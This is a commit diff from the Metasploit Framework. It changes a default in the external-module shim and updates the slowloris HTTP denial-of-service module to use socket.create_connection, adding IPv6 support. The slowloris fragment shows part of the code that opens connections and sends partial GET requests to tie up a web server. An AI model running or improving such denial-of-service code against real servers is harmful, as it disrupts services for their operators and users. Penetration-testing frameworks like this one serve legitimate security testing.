Land #9686, add ipv6 to slowloris, rhost to non-scanner modules

lib/msf/core/modules/external/shim.rb

@@ -32,7 +32,7 @@ class Msf::Modules::External::Shim
     render_template('common_metadata.erb', meta)
   end
 
-  def self.mod_meta_common(mod, meta = {}, drop_rhost: true)
+  def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
     meta[:path]        = mod.path.dump
     meta[:name]        = mod.meta['name'].dump
     meta[:description] = mod.meta['description'].dump

modules/auxiliary/dos/http/slowloris.py

@@ -76,14 +76,12 @@ def create_random_header_name(size=8, seq=string.ascii_uppercase + string.ascii_
 
 
 def init_socket(host, port, use_ssl=False, rand_user_agent=True):
-    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s = socket.create_connection((host, port), 10)
     s.settimeout(4)
 
     if use_ssl:
         s = ssl.wrap_socket(s)
 
-    s.connect((host, port))
-
     s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
 
     if rand_user_agent: